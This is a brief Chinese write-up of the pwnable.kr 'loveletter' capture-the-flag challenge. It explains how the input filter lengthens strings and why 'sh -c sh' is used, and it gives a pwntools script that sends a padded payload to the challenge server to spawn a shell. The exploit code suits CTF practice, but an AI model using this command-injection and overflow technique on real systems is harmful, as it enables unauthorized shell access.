过滤字符串 各种特殊符号都用不了了。
关键点在于protect潜在增加输入串的长度（每次有一个特殊符号长度+2）
https://www.freesion.com/article/34791318164/

至于为什么要用 sh -c sh 而不是直接 sh
因为直接sh 会读后面的参数（乱七八糟的输入，无法运行shell）

```
from pwn import *
#io = process("./loveletter")
io = remote("pwnable.kr",9034)
payload = 'nv sh -c sh '
length = len(payload)
pad = p32(1)
lenA = 256 - length - len(pad)-2

payload += '||'+'a'*lenA +pad
print(len(payload))
io.sendline(payload)
io.interactive()
```